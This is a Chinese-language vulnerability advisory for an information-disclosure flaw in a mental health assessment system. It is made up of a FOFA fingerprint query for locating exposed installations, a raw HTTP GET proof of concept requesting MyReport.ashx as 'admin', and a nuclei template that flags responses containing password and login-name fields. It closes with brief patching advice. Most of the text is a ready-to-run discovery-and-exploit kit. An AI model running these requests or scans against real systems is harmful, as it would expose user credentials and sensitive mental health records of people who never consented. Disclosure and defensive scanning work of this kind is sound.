京师心智心理健康测评系统-存在敏感信息泄露

漏洞描述

京师心智心理健康测评系统-存在敏感信息泄露

产品界面

fofa语法

body="JS/ligerComboBox/ligerTree.js"

POC

GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

nuclei验证

id: jinshi-boren-read-info
info:
  name: 京师心智心理健康测评系统-存在敏感信息泄露
  author: nobody
  severity: high
  description: |
    京师心智心理健康测评系统-存在敏感信息泄露
  impact: |
    攻击者可以通过访问页面，获取敏感信息。
  remediation: |
    升级版本，非必要禁止该页面访问
  metadata:
    verified: true
    max-request: 3
    fofa-query: body="JS/ligerComboBox/ligerTree.js"
  tags: read-info
requests:
  - raw:
      - |
        GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
    matchers:
      - type: dsl
        dsl:
          - status_code == 200 && contains_all(body,"_u_password","_u_loginname")

修复建议

• 建议升级到最新版本或打补丁
• 非必要禁止该页面访问